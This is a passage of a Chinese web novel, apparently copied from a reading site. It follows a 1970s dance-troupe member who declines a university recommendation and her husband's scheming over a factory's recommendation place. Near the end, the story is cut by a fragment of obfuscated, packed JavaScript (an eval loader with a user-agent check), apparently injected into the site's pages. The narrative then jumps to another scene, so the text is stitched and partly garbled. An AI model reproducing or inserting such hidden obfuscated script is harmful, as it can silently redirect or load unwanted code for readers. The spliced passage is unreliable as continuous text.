向党的脸色异常严肃,她低声道:“胡闹!你要知道,念大学的机会可不是什么时候都有的。别急着拒绝,你不知道,为了拿到这个名额,团里付出了多少努力。你还小,可能不明白大学意味着什么,回去和家人父母商量商量,过两天再回复我。听话,出去吧,这个消息目前还没有多少人知道,记得保密。” 章清云点点头,临走前还是给向党鞠了一躬:“无论如何,我都要谢谢您的栽培。” 向党挥挥手,这个章清云,没法说。说她傻吧,提出的大联欢的建议,团里今年光是点名的表彰受到了多少,那是人人都获利。可要说她精明吧,读大学的机会,随口就拒绝了,也不知道怎么想的。年轻,还是太年轻了。 章清云可不觉得是年轻的缘故,她是这么跟关百钺说的:“既然高考早晚要恢复,何苦去浪费这个时间?我都提前这么久读书了,到时候参加高考,不说考个Q大、京大吧,艺术生总能吧?既然当初答应了原主,我就得在七六年之前一直做台柱子,跳出点儿名堂来。” 关百钺自然理解,只是他道:“我明白,可是得跟爸妈说吧?这么大的事儿,不能告诉都不告诉他们,就拒绝掉。” 也是,为了工农兵大学生的推荐名额,这两年出的事儿还少吗?可见大家对它的重视,章清云耷拉着肩膀,有气无力道:“让我想想,想想怎么说。” 关百钺轻笑,不过还没等章清云想到借口,她和男主持人沈洲交往过密、疑似有不正当男女关系的大字报就被贴到了文工团的门口。 这日,与往常一样,章清云依旧第一个到文工团,正要跟看门的祁大爷打招呼呢,就被大字报吸引了注意力。大字报不是手写的,是从报纸上剪下来的字拼凑起来的,标题格外惊悚,“章清云和沈洲乱搞男女关系”十二个斗大的黑字,就这么直喇喇冲击着章清云的神经。 章清云气的手都抖了,深呼吸几次才忍住上前将大字报揭下来的冲动,径直冲到向党的办公室,就这么等着团长来。不多时,文工团的人陆续到来,见到章清云都低下头,加快脚步离开。章清云自我安慰,这些人都是受了大字报的影响,没什么的,可总忍不住心里发冷。 这种捕风捉影的事儿最难说清,这是觉得她会被定罪,怕被连累,从而躲着她走? 可笑!可悲!可叹! 跟这样的人生气,都是掉价。 等向党同样气冲冲地来到办公室,见到冷静下来的章清云还有些惊讶,她抬抬手,打开办公室的门,也不关,就这么高声问道:“清云,你来找我是有什么事儿吗?” 章清云同样高声道:“团长,我是来继续申请担当大联欢的主持人的。如果正常的工作接触,都要被定义成乱搞男女关系,那以后咱们文工团的工作还怎么开展?是不是舞蹈也要分成男舞和女舞,或者干脆分成男文工团、女文工团好了!” 她哼了一声,高声道:“那样的大字报,没有一句实质性的证据,泼脏水的话张口就来,如果这都能定人的罪,那我不介意去革委会叫屈!不行就去京城,清者自清,我是什么都不怕的,就是不知道写这大字报的人怕不怕了!” 说着环视一眼众人,继续道:“而且,我要继续申请担任主持人,男主持人谁都可以,我都能配合。我就不信了,正常对词、排练,就能说我乱搞男女关系!” “我也跟团里申请了。”沈洲大踏步进来,同样一脸的气愤,边走边朗声大气地道,“向团长,大字报的事儿我知道了,市文工团也出现了相同的大字报,我和章清云同志的态度一样,清者自清。我俩接触,从来都是在工作时间,其他任何时间都没接触过。如果这都能说是乱搞男女关系,那所有单位的男女同志就都没法正常工作了!这个罪名我不会认,相反,我申请和章清云继续搭档,让大家都看看,我们到底有没有私下接触过!” “我相信章清云。”关百钺小跑进来,气喘吁吁,满头的汗。他今早上班,还没去车间呢,就被陶勇下面的兄弟叫住,知道了章清云被贴大字报的事儿。心里那个急啊,真怕章清云给揭下来。这个年代,“大鸣、大放、大辩论、大字报”,是这个特殊时期赋予公民的权利,不是说揭下来就揭下来的。 好在章清云没那么冲动,关百钺一路疾跑进来,听到沈洲的话挑挑眉,当即出声道:“我可以为章清云作证,她除了上班,其他时间都是正常回家,科研大院的门卫都可以作证。我不觉得一张没有真凭实据的大字报,就能污人清白。” “可别人不说,为什么偏偏说她......”有人小声嘀咕。 “我来告诉你为什么!”向党看了章清云一眼,见她微微点头,向党叹口气,知道是昨天的谈话害了她,向党高声道,“因为团里拿到了一个工农兵大学生的名额,而大家一致认为,这个名额该给章清云!我昨天才找她谈话,说了团里的决定,今天就有了这个事儿,你们说为什么!” 向党的目光严厉地射向众人,那目光似有重量一般,压得大家都低下了头。 向党这才继续道:“可惜,贴大字报的人可能不知道,章清云第一时间就拒绝了上大学的机会。她喜欢舞台,二十五岁之前的时光,她都希望能奉献给舞台!我宣布,今天这件事,团里一定会认真调查,同时团里会进行推荐表决,谁得的票最多,谁就去读大学。但是,今儿贴这个大字报的人,不能被推荐!” 58. 选举名额与八卦 人群嗡嗡嗡的闹开了。有人低着头不说话,有人激动地简直要跳起来,还有人不解地看向章清云,不明白她为什么放弃这么好的机会。 程紫鹃是个直脾气,她蹬蹬镫小跑过来,低声道:“清云,你怎么就拒绝了?!多好的机会啊。” 章清云冲沈洲点点头,没想到这位直接过来了,是个有担当的,之后才对程紫鹃道:“向团长说了啊,我就是那么想的。咱们跳舞不就是为了站在舞台上?而且我不觉得二十五岁之后就没有机会了,也许那时候的舞台更大呢?” 关百钺拍了拍章清云的肩膀,章清云笑着道:“好了,你去上班吧,事情大家都知道了,想来团里很快就能调查出结果的。” 关百钺点点头:“有什么事儿跟我说,别瞒着我。” “会的。” 路过沈洲时,关百钺特意停下来,彼此握了手,关百钺还说:“有时间来家里吃饭,我相信我媳妇儿,也相信你的人品。” 沈洲朗声大笑:“好,一定去。”说着冲众人点点头,和关百钺并肩离开,惊得众人久久说不出话。 等人都走了,良久,程紫鹃才低声道:“清云,你......你真的不要这个名额?” 章清云坚定地点头:“不要,我更想趁着年轻,站在舞台上。” 程紫鹃吭哧半天,终于道:“那你说我有没有可能去读大学?”说完低下头不敢看章清云。 章清云笑:“怎么,你想去?” 程紫鹃轻轻嗯了一声:“想!我......我跳舞也就那样儿......再怎么跳也挑不了大梁。” 她右手不自觉搓了搓,接着道:“可读大学,出来就不一样了,就是干部编制,我......” 章清云拍拍她的肩膀:“想去就去,反正我已经表明态度了,我是不去读的。不过你要是参选,最近表现可得好,跟大家处好关系,不能得罪人。选举可是不记名的,要是得罪了人,大家肯定不会选你的。” 程紫鹃眼睛亮晶晶的,一个劲儿点头:“我知道的。” 想去读大学的,显然不止程紫鹃一个人。消息一公开,章清云大字报的影响即刻消除,每个人都在积极地表现,争取让大家在选举的时候投他们一票。章清云都感觉,最近团里格外的和谐,就连说话都礼貌多了。您好,谢谢,对不起等礼貌用语挂在嘴边,一个比一个会说话。 好在选举定在一周之后,时间很快到了,大字报的调查结果并没有公开,不过选举的时候,向党特意提出,将杜玉玲调往更艰苦的农场,同时退回一名叫林芸的小队员。这还有什么不明白的,必是这两人搞的鬼。只是没想到杜玉玲都下放农场了,还来搅合团里的事儿。 章清云低声问:“杜玉玲和这个林芸认识?” 程紫鹃消息最灵通,她低声道:“我知道,她俩住一个胡同!应该是小时候就认识杜玉玲,前一段儿咱们演出那么轰动,杜玉玲肯定在农场听说了,听说还想报名参加演出呢,给团里寄了好几次信,向团长没同意。估计她以为是你搞的鬼,才出了这个坏主意。” 章清云斜眼儿看她:“你怎么知道的?” 程紫鹃分外得意:“祁大爷说的啊。他前几天才想起来,收到过好几封农场那边的信,他还给团长办公室送过几次呢,前后这么一联系不就出来了?” 她搔搔下巴,低声道:“我就是惊讶,姚燕妮和孙巧云竟然没掺和。” 章清云倒是不惊讶:“姚燕妮怀孕了,本身就不太可能去上大学,她掺和这个事儿干嘛。” “也是哦。”程紫鹃低声回道,声音都有些颤抖了。为啥呢,因为领导们开始往下发纸条,要开始匿名推荐了。 向党敲了敲话筒,适时开口:“静一静,大家应该都收到纸条了,在大家选举前,我说两句。第一,这次选举,团里的领导层都不参加。这个名额是给咱们一线的舞蹈演员的,理应也由你们来选举。第二,就是推荐的规矩,一个人只能写一个名字,多写或不写都相当于弃权,明白吗?” “明白。” 向党继续道:“最后,就是章清云同志不参与这次推荐人选,大家记得不要写她的名字,写了就当弃权处理。好了,大家有什么问题尽早提出来,没有问题的话,就可以投票选举了。” “团长。”孙巧云站起来,眼睛异常的亮,她说,“既然章清云放弃这个名额,是不是选举也不用参加了?她......” 向党严肃了脸:“选举是公民的权利,你凭什么剥夺?章清云是放弃了被选举权,可没放弃选举权!好了,你坐下,建议被驳回。还有人有问题吗?” 孙巧云撇撇嘴,十分的不服气。程紫鹃轻轻地切一声,章清云拉拉她的手,示意别在这时候裹乱。 显然,大家没其他的问题,选举这时候才算正式开始。 章清云轻声说了句加油,低头,提笔写下了程紫鹃的名字。在团里这么久,程紫鹃是对她帮助最多的了,理应将这一票给程紫鹃。 唱票时,程紫鹃、苗盼儿、孙巧云的名字交替出现,占据着前三的位置。有一名叫孙妍的队员后来居上,俨然有进入前三的趋势。就在唱名快结束时,有队员提出异议了:“团长,咱们团里的一线队员,一共才三十六人,可如今的票都三十八个了,这不对啊。” 向党这才数了数,真是三十八个!闹笑话了嘛这不是,没想到还有人在这上面捣乱!她立马严肃了脸,厉声道:“文芳,重新拿纸,每张纸条上做上记号再发下去,唱票的时候,没有记号的纸条都当废票处理!” 她望向大家,语气十分的严厉:“这是很严肃的事情,选举之后团里一定会调查,大家不要心存侥幸!好了,大家等一会儿,等记号做好了,重新开始匿名选举!” 好在这一次没有出什么幺蛾子,出乎章清云的意料,程紫鹃竟然真的排在第一,一名叫郭鹏的男队员排第二,孙巧云排第三。 仔细想想也合理,程紫鹃性格活泼,人员一直不错的。郭鹏算是男队员里比较活跃的了,而孙巧云一直巴结姚燕妮,姚燕妮大方,孙巧云作为跑腿,自然也沾光。苗盼儿这次只排第四。倒是之前那个叫孙妍的,排在了十名开外。 等推荐结束,程紫鹃高兴地恨不得大喊大叫,章清云及时打断,轻声道:“嘘,低调。尽快去报名才是正经,夜长梦多。” 可不是夜长梦多嘛,当天就有队员去跟向党反应,说程紫鹃不积极参加下乡活动,大联欢的时候连单独的节目都没有,凭什么选她?还有的说程紫鹃这么多年都没跳过主角,资质有限,名额给她就是浪费,都被向党给撅回去了。 舞台上,角色不分大小!就算是一颗螺丝丁,也有存在的意义,更何况人家程紫鹃积极参加训练,从来不喊苦喊累的,你们都是跳群舞的,怎么就有脸说出不是主角,资质有限的话的? 好在闹了几波,见没用,大家也消停了。程紫鹃也见识到大家对名额的眼红,七天公示期一过,第一时间去大学报名。虽然九月一日才开学,如今才六月,可先占住名额嘛,傻子才九月一日当天去报名呢。 报完名当晚,程紫鹃和刘念东来找章清云,程紫鹃哭得那个大声啊,边说边抽噎:“清云,我......我没想到我还有机会读大学,真的,我做梦都没想过。呜呜呜,真跟做梦一样......” 章清云哭笑不得,她掏出手帕递过去,道:“好了,擦擦。报名之后准备怎么做?” 程紫鹃哭得眼睛都花了,没看到,刘念东替她接过来,给媳妇儿擦了擦泪,低声道:“我跟紫鹃商量过了,前两个月你们那个大联欢搞得轰轰烈烈,虽然现在不做了,可下面县、区、公社的文工团和文艺爱好者,都在自发地做这个事儿。团里她不好再呆了,再呆下去只会让大家眼红,那就不如沉下去,去参加文艺下乡,也算是服务农民群众,谁也说不出什么。” 关百钺多看了刘念东几眼,不得不说,这是个有成算的男人。章清云笑着道:“好啊,是以指导工作的名义去,还是?” 刘念东笑:“既是指导,也是参与演出。” 程紫鹃呜呜呜地哭:“就是我下去演出,之后上大学,要好久不见你了,清云,我会想你的。” 章清云好笑道:“好了,这是做什么。推荐的就是本省的大学,离文工团又不远,哪天要是想我了,或者我想你了,抬脚就去了,别搞的跟生离死别一样,没必要。” 程紫鹃这才笑出声:“是哦,我这是高兴傻了,还以为要好久见不到你了。” 又说了会子话,程紫鹃和刘念东才起身离开。等人走了,章清云才想起来:“你们公司有没有大学名额啊?你被推荐了吗?” 关百钺哼一声,斜眼儿道:“现在才想起来这茬?” 这是生气了?章清云赶紧哄道:“这不是最近事儿多嘛,我可是最关心你的,时刻都想着你呢。说嘛,说嘛,有没有?” 关百钺坐到单人沙发上,翘起腿,轻咳一声。章清云立马乖巧地去倒水,还用手背试了试温度,这才递过去道:“渴了吧?来,温度正好,喝不喝?” 关百钺眼里这才露出点儿笑意,也不接杯子,就着章清云的手,慢条斯理地喝了两口水,这才道:“我们公司也有一个名额。” 章清云立马坐直了,只听关百钺继续道:“只是粮油公司的一部分人觉得,我们厂子刚建,对总公司的贡献小,不应该给这个名额,目前正在吵呢,还没出结果。” 章清云了然,她狗腿地道:“你肯定想到争取的办法了,是吧?”关百钺可以不去读这个大学,可是名额一定要拿到手,这算是职工福利,他不在乎,其他人可在乎的很呢。 关百钺神秘一笑,也不说话,章清云立马去摇他的胳膊:“说嘛,说嘛,什么办法,肯定很损对不对?你准备怎么做?” 关百钺眼一瞪:“什么叫肯定很损?我在你眼里就是这种人?” 章清云赶紧捂住嘴,一副失言的样子。小两口耍了会儿花腔,关百钺这才道:“你忘了一个人,高武。” 章清云疑惑:“高武?他和这件事儿有什么关系?” 关百钺提醒道:“高武被高伯伯塞到了方便面厂,在销售科挂了职。” 章清云了然:“你是说,高武会想办法把名额搞到手?然后贿选,你再挑拨季长善,举报高武,这样名额还是你们的?” 关百钺笑:“错了,季长善不用我挑拨,他自己就会盯着高武。只要高武敢朝推荐名额下手,季长善一定会举报。我要做的,反而是确保举报后,名额还留在厂子里,不被别人抢走。” 就知道这是个黑心肝的,章清云内心腹诽,面儿上却露出个讨好的笑,竖起大拇指真心夸赞道:“厉害,你这是什么都做了,偏谁还不知道是你做的。啧啧啧,同样是穿越的,你说你这脑子是咋长的,咋就能这么厉害呢。说吧,想吃什么,明早我去给你买早饭。” 关百钺:“......”就当你是赞美了,他说:“酱肉包子,没有的话买千层饼,那个也好吃。” 夫妻俩在屋里说笑,外面果然跟关百钺预想的一样,高武说服他爸高明,插手了大学推荐名额的事儿。而季长善呢,也不需要谁点拨,第一时间举报了高武。另一边呢,粮油公司、方便面厂和榨油机械厂同时出现了高武的大字报。 粮油公司没办法,迫于压力取消了高武的推荐名额,想要收回名额吧,方便面厂和榨油机械厂的职工这才知道,感情厂子里有工农兵大学的推荐名额!那怎么可能会让收回去嘛。呼啦啦一群人去粮油公司前面静坐,誓死要保住这个名额。 季长善在家摔了两个杯子,面色铁青,气喘吁吁。他就没在两个厂子贴大字报!是谁,谁盯着他!混蛋,他这是被人当枪使了啊。 不管有没有当枪的自觉,粮油公司的领导叫来关百钺,让他管管手底下的人,这是干什么?无组织无纪律,胡闹! 关百钺摊手,开始诉苦:“领导,我没脸去说啊。我都不知道有推荐名额的事儿,怎么去跟大家说?而且我是总负责人,不为大家的利益着想,反而让大家受委屈,以后还怎么开展工作?不行,我做不到,领导......” 领导掐腰,指着关百钺的鼻子骂:“你这是山头主义,是搞小团体,这种思想要不得!他们的利益是利益,粮油公司这个大集体的利益就不是利益了?青江市、省里,甚至更高的利益,你们怎么不去想想?不要找那么多理由,这个事儿能不能去说?” 关百钺皱着眉,一副为难的样子,咬牙提要求道:“领导,我觉得要让大家离开,得尽量满足大家的需求吧?本来大学的推荐名额就是我们厂子的,我们要的也不多,两个厂子才一个名额,现在要收回去,大家肯定不答应嘛。让大家离开很简单,把名额还回去,那大家自然就离开了。除了这个办法,我想不到还有别的办法,能解决今天这个事儿。” 领导看着关百钺直运气,谁不知道这个办法能解决问题,可那个名额大家都盯着呢,那是能给你就给你的?他还想要呢! 正对峙着,秘书敲门进来,低声道:“局长,有人找。” 关百钺微微翘起嘴角,又很快压下去。领导挥挥手让关百钺先离开,这才让把人请进来。 和那人擦肩而过的瞬间,关百钺知道,这是季副主任的人,他儿子的举报材料,他应该收到了吧?那个名额不是高武的,也不会是季长善的,只能是关百钺的! 果然,在外面等了不到半个小时,关百钺重新进入领导办公室,就听到了领导的话:“去跟外面的人说,推荐名额保留,让大家都散了吧。尽快组织选举,将推荐名额报上来。” “是。” 关百钺没什么表情地应了一声,走出去的时候却咧开嘴角。有了名额,一切都很顺利,承诺明天选举,静坐的人群很快散开。 听说关百钺也要搞选举,章清云特意将文工团选举有人多投票的事儿说了:“选举的票一定要有记号,否则真会出乱子的。” 幸好有章清云的提醒,因为静坐的事儿,第二日两个工厂的选举格外受关注,粮油公司特意派人去盯着,见每张选票都有特殊标记,不禁佩服起关百钺的谨慎。 只是当天,选举并没有如期举行,为啥呢?为了选谁不选谁吵起来了。有的说得选一线表现好的工人,有人说起码得选有初中文凭的人,否则大学学什么都不知道,浪费时间,还啥也学不到,总之各有各的说法,谁也说服不了谁。 还有人提出,机械厂和方便面厂人数不一样,方便面厂人多,票数自然也多,对机械厂不公平。反正吵的那个凶啊,就这个选人标准,讨论了一天。 最后讨论了一个方法,每个厂子内部先选出三名候选人,将候选人的资料和事迹做成大字报的形式,在两个工厂都进行张贴,张贴一周后,再进行合并选举。就从这六个人中,选举出最后上大学的人。 事情一定下来,晚上去关百钺家的人就多了起来。关百钺第一次没让大家进门,反而朗声对大家道:“这是选举,是谁也不能作弊的!大家都回吧,要是被人知道你们来找过我,估计连参选资格都没了!”不是多重的话,却把大家都吓跑了。 也是这些人不会办事儿,这时候还敢上关百钺家去!从静坐开始,这事儿就有人盯着,谁也没办法插手的。好在关百钺第一时间表示放弃这个名额,否则还以为他在贿选呢。 闹哄哄了一周,最后在方便面厂的空地上进行了最后的选举,机械厂里一名叫孙红的女工,以两票的微弱领先,取得了这个名额。 这是很不容易的,要知道,机械厂是比方便面厂少二十人的,那就天然少二十张票,孙红能够当选,是有突出贡献的。 什么突出贡献呢?因为孙红救过人!在机械厂上班,有时候出机械事故是难免的。 夏天,车间里温度高,就有女工不遵守纪律,不戴帽子上工,偏她还是长发,这不就把头发剿进机器里了嘛,好在孙红反应快,拿着剪刀咔嚓将那女工的头发剪了,否则非出事故不可。事后,整个车间停工,开展安全教育,所有女工强制剪成短发,且不穿工作服上工的,一律按大过处分,这才没继续出事儿。 因为这个事儿,当初关百钺在机械厂招工时,不讲人情的往事才渐渐被大家原谅,关百钺的人缘也更好了。 名单出来后,别人还没怎么样呢,隔壁黄咏梅晚上就号上了。边哭边嚷的,说她命苦,儿女更是可怜,下乡七年,做了七年的积极分子,吃了七年的苦,七年呐,难道不比车间里的女工强?又说她男人常年不在家,她一个人又当爹又当妈的,一句句都是顾家的可怜。 这就是故意说给关百钺听呢。顾云岚和顾云凯难堪,等黄咏梅号累了睡着了,才悄悄去敲关百钺家的门,顾云凯道:“百钺,你别听我妈瞎说。选举是公平的,人家孙红凭本事选上的,我和云岚都没意见。” 顾云岚点头:“对,我没意见,我妈那是不知道情况。而且她就是那样的人,认准了那是谁的话都不听,偏执的没办法,百钺你别放在心上。” 关百钺自然说没事儿了,彼此客气了一番才告别。 忙完了大学推荐名额的事儿,两人才有时间去章家看看,也得跟家里人解释不去上大学的决定吧。这么多天章砚臻和陈静都没让章清远来家,为啥的,还不是生气了,觉得两人什么事儿都不跟家里说,私自做主嘛。 章清云一到家,就挽着陈静的胳膊撒娇:“妈,当初我练那么苦,才跳到B角的,如今都成台柱子了,我还想多跳几年呢。妈,您就别生气了,不是不跟你说,是觉得您应该理解我的呀,我这么喜欢跳舞,您又不是不知道?” 陈静可不是不理解嘛,她气哼哼的:“读了大学,涨了见识,就不能跳舞了?你哪怕以后自己编舞写故事呢,总比这跳两年就去后台强吧?” 她面露担心:“你还能跳几年?我都打听了,芭蕾舞演员最多跳到二十五,这还是受伤轻的。其实二十二、二十三,人家团里就得选备用演员了,你顶多再跳三四年就得离开舞台。可要是这三四年你去读大学了,出来就能在文工团任领导......” 章清云摇着陈静的胳膊:“妈,三四年呢,我更想用这三四年的时间去跳舞。而且三四年之后的事儿,谁知道?说不定就有其他的机会呢。您就别为我担心了,我心里有数呢。” 陈静还要开口,章砚臻轻咳一声,说:“行了,清云心里有数,咱们就少说两句吧。不是说包饺子嘛,百钺,来,咱们爷俩去和面。” “哎。”关百钺撸袖子起身,乖乖跟在老丈人身后。 等进了厨房,章砚臻才轻声道:“说实话,你俩是怎么想的?”一个人放弃还可能是偶然,可两个人都放弃了,必是有什么说道的。 关百钺偷偷到灶房门口看了看,见没人偷听,这才转身,用极低的声音道:“爸,您觉得如今这样,会长久吗?” 章砚臻唬了一跳,忙嘘一声:“瞎说什么,不要命了!” 关百钺笑:“爸,您看,您吓成这样,那其他人呢?大家都不安生,那必是不会长久的。放心,会好的,读大学的机会还会有,相信我,也相信清云,我们不是乱来的人。我和清云想趁着年轻多做些实事儿,您和妈也别担心,我们心里有数。” 还想说什么呢,被关百钺的话彻底吓住了,章砚臻摆摆手,表示知道了,同时低声警告道:“跟我们说说就行了,出去乱说可就完了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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出乎意料,路上竟然遇到了陶勇和苗盼儿。这两人结婚后就很少去饭店吃饭,这次遇上倒是稀奇。章清云调侃:“哟,这是两个失意人报团取暖呢?”调侃两人都没被推荐上大学。 苗盼儿哼一声,她人缘儿不好,知道不可能被推荐,只是可惜陶勇,他之前名声不好,虽然如今改好了,可敢参选吗?以前的事情翻腾出来,不够他喝一壶的,所以陶勇是厂子里为数不多的主动放弃参选的人之一。 “是啊,我们两个失意人,不像你们,高风亮节的,这马上得道成仙了吧。哟哟,都神仙了,两位还吃饭呢?不得辟谷啊。你俩这么高的觉悟,是吧,高低得把饭留给更需要的人吃才对啊” 苗盼儿这个嘴啊,章清云被逗得咯咯咯笑,指着她道:“行了,知道你过得幸福,少来调侃人。” 苗盼儿面露得意。出乎所有人的意料,陶勇和苗盼儿结婚后,婆婆竟然主动提出了分家。要知道,陶勇下面可是有两个还在上学的弟弟呢。当时婆婆一提出来,大家都劝,说是不能这么着,这不是陷陶勇于不义嘛,这样让别人怎么看陶勇?怎么着,自个儿成年结婚了,就把老娘和年幼未成年的弟弟抛下,奔自个儿的日子去了?这是什么,这是不孝! 人家婆婆咋说的,说陶勇养弟弟没人说啥,可凭什么让人家苗盼儿养!非亲非故的,是吧,非要拉着人家养,那是为难人家孩子。她还没到动不了的年纪,在菜站还有正经的工作,以前三个儿子都养活了,现在就剩两个了,难道养不成? 任谁劝,都不扒拉着大儿子和大儿媳妇过日子。谁不赞一句苗盼儿好运气?如此处理,难道陶勇和苗盼儿会不孝顺?两人每日都要回家看看的,钱啊东西啊,一样没少给,彼此不知道有多亲厚。从苗盼儿的嘴越来越毒也能看出来,这人活得是愈发恣意张扬了。 四人说笑着进入饭店,因着是沈洲和古美请客,两人到的早,在门口等着呢。陶勇和苗盼儿识相地离开。 章清云是第一次见古美,说实话,很普通的长相,圆脸大眼厚嘴唇。脸其实不大,只是配了个塌鼻子,整个脸就看着扁平扁平的,十分显脸大。要不是有个钢铁厂副厂长的外公,估计沈洲也看不上。 不过人却是十分爽利的性子,见到章清云就说:“可算是见到真人了。当初百钺结婚的时候,我还在上学,听说娶了个天仙回来,我还心说别是又一朵鲜花插在牛粪上吧,没承想这牛粪还不错,鲜花没枯萎,牛粪也变成肥料,回馈社会了。” 关百钺正给章清云拉椅子呢,闻言点点古美:“这是没少听吴军说我的坏话吧?” 古美笑:“他啊,整天夸你,你说就我俩那关系,他整天夸的人,我不得怀疑?今儿也是巧了,沈洲说你们关系好,我才想着见一面的,就当正式认识了。” 怪不得当初吴峰把大学名额给古美呢,这人看着就比吴军大气。章清云就好奇啊,这么英姿飒爽的女人,是怎么看上沈洲的?单纯的看脸? 嗯,也不能搞隐形的歧视,男人能为了脸娶一个女人,女人也能为了脸,嫁一个男人嘛。 章清云努力说服自个儿,笑着听两人白话。 特意赴约,还有一个很重要的原因,那就是古美是学农学的。关百钺目前从事的都是食品相关的行业,对农学人才以及最新的科技进展,都是十分关注的。 吃饭期间,关百钺就问了许多相关的问题,什么大豆新品种方面的进展,杂交水稻研发进入什么阶段了等等。 章清云还勉强能听懂,沈洲全程就跟听天书一样,除了吃饭,就是吃饭了。好在还有章清云在,沈洲讲起了下乡演出的趣事儿,他说:“县文工团想了个新节目,模仿电影里的片段,谁知道坏人演的太好,底下的农民兄弟差点儿冲到台上打人。还是紫鹃反应快,冲上去说演员的业务能力太强了,竟然让大家信以为真,嘻嘻哈哈的才打岔过去,不然非出演出事故不可。” 前世章清云也听过类似的事,她忍不住问:“你怎么还在下乡演出?市文工团就这么放你下去?” 沈洲笑笑,低声道:“古美给我出的主意,说是多下乡演出,明年的大学生推荐名额,说不得就能轮到我呢。” 这可真是什么都不瞒着她啊,章清云失笑:“对,那你好好演。” 现在的人很少能意识到,学历的重要性。对沈洲而言,推荐上大学的名额,可能是他这辈子唯一上大学的机会。日后恢复高考,像文工团的这些人,从小练基本功,读书不多,肯定考不过其他人。想通过高考上大学,除非像她一样,提前这么多年准备,否则真没戏。 沈洲能奔着这个方向努力,也是难得了。 说着吃着,不到七点,饭吃的差不多,章清云起身要去洗手间,古美笑着起身:“一起。” 章清云耸耸肩,两人并肩而行。到卫生间的时候,古美噗嗤笑了:“我还以为你要问我为什么看中沈洲了呢?” 章清云:“......”她看着是那么沉不住气的人吗?不过既然古美主动提起了,那问问也无妨:“能说说吗?” 古美挑起嘴角:“当然。” 她笑得一脸坦荡:“吴军大学名额的事儿,是百钺帮着办的吧?他也是傻,吴叔叔是他亲爸,会不管他?好在百钺厚道,没坑他,不然家里都不得安生。我也是从这件事儿,觉得关百钺可以交往的。” 说了几句不相干的,她继续道:“看上沈洲很简单,单纯就是看脸。你可能不知道,我爸......是被我妈按在别人的被窝里,才同意离婚的。 几乎所有人都不敢相信,他会背叛我妈。 当年他追我妈追的多凶啊,每天恨不能往我姥爷家跑十趟,全钢铁厂的人都知道,我妈在家里,那是什么活儿都不用干,要星星不给月亮的。可惜,就因为生了三个闺女,没生下儿子,他就去找了别的女人。爱情,呵。” 她冷笑一声:“我十岁的时候就知道了,爱情就是个王八蛋!女人信什么,都不能信男人的嘴。既然不能相信男人,又必须结婚,那何妨找一个好看的呢?这样就算以后离婚了,我也不亏,你说对不对?” 章清云真是开了眼界,她竖起大拇指:“女中豪杰。” 古美哈哈哈的大笑:“我就知道,咱俩会投脾气!有空我单独找你,不许躲着我啊。” “那不会。” 两人说笑着进入卫生间,很快各自分开。 七月十五日,章清云正在训练呢,姚燕妮在隔壁办公室发动,当即疼得直不了身,送到医院后早产生下一子,好在母子平安。 因着两人结婚时,姚燕妮是给了礼的,还是两份,但姚燕妮结婚没有大办,两人就没办法大喇喇送礼。所幸三日后,团里要选代表去看姚燕妮,章清云主动揽下了这个任务,去的时候给了三份礼物,算是将结婚礼物的事儿抹过去了。 因着送礼,去百货大楼就有些勤,看见好的小衣服,就忍不住买多了。送到师家时,关盈钺忍不住唠叨两人:“小孩子用不着准备这么多衣服。安安才一岁,长得快,你看看你俩,小衣服一买就是三身,有这么宠孩子的吗?” 安安现在会认人了,见了关百钺和章清云就让抱,亲的不得了,还会“舅,舅妈”的喊人。两人别提多稀罕了,关百钺忍不住亲了两口,笑着道:“姐,买都买了,就给安安穿呗。咱们安安长这么漂亮,穿多少好衣服都不过分,是不是?” 刚一岁的小丫头,哪里听得懂这么长的话,只是一个劲儿咯咯咯的笑,小米牙都露出来了,哈喇子往下流。看得关盈钺哭笑不得,忙接过来,掏出手绢给闺女擦口水,同时道:“行了,你就惯着她吧。哼,下次要是再自作主张不跟我说,看我理你不理。” 59. 戒指引出小麻烦 这是说放弃大学名额的事儿了,关百钺摸摸鼻子,转移话题道:“姐,罗姨来信没?在那边怎么样?” 关盈钺哼一声,白了弟弟一眼,顺着转移话题道:“来了,还行吧,如今大夏天的,瓜果菜蔬多,肯定是饿不着的。冬天......” “冬天我来想办法,姐,你就别担心了。”关百钺拍拍胸脯,“我如今可是两个厂子的奠基人,置换些物资还是轻轻松松的。” 师援军赶紧开口:“不用,百钺,哪儿能什么都靠你,我如今工作也不错,病人看病的时候,偶尔会送个鸡蛋、一把挂面啥的,积少成多,家里的物资是够的。” 因着罗霞的事儿,师援军主动申请去下面的公社培养赤脚医生,每周去个两三天,虽然辛苦,但去到下面就是专家待遇,物质方面真的不缺。 关百钺笑笑没说话,章清云想说两句表态的,谁知门被敲响了,洪安娜和沈爱军抱着儿子沈福进来,沈爱军进来就道:“我就知道肯定在盈钺姐这里。” 洪安娜将儿子放到地上,拍拍儿子的屁股道:“去找姐姐玩儿吧。” 说完直起腰,抱怨道:“整天带着这么个小玩意儿,累死个人。百钺,有空去陪陪老爷子,这两天正想不通呢。” 这是说沈老?关百钺好奇:“为什么的,老爷子还能想不通?” 沈爱军嗐了一声:“这不是跟R那边谈判着嘛,说是要恢复邦交,老爷子这不是就想不通了嘛。整天唠叨,当时死了多少人,好不容易才打退了,这怎么又要邦交了?说是对不起关爷爷关奶奶。” 关百钺了然,老革命嘛,都是上过战场,和当时的小R本真刀真枪干过的,想不通很正常,他道:“行,那今儿就去爱军哥家吃晚饭了?” 沈爱军笑:“只管去,能陪老爷子喝喝酒才好呢。他如今就稀罕你,说你出息,学什么都快,我这听得耳朵都起茧子了。” 六人说笑了一阵,两个小娃娃也在一旁咿咿呀呀的凑趣儿,四点时,六人收拾收拾,起身去沈家,准备和老爷子把酒言欢。 路上,关百钺问:“爱华今年回来过年吗?” 沈爱华是沈爱军的弟弟,两年前去当兵,今年冬正好三年义务兵结束,不知道会不会回来。他模糊记得,七三到七五年会有裁军,沈爱华要是没提干,应该会回来。 沈爱军摇摇头:“他没说,这小子主意大,又不爱说话,到时候再看吧。” 沈家,沈老爷子坐在书房,盯着地图一个劲儿的看。沈爱军敲门,高声道:“爷爷,百钺来看您了。” 沈老连头也不抬,低声道:“进来。” 打开门,一看这架势,得,这又是想起哪次战役了吧?沈爱军和关百钺对视一眼,沈爱军做了个口型,示意他去拿酒,让关百钺先去哄老爷子。 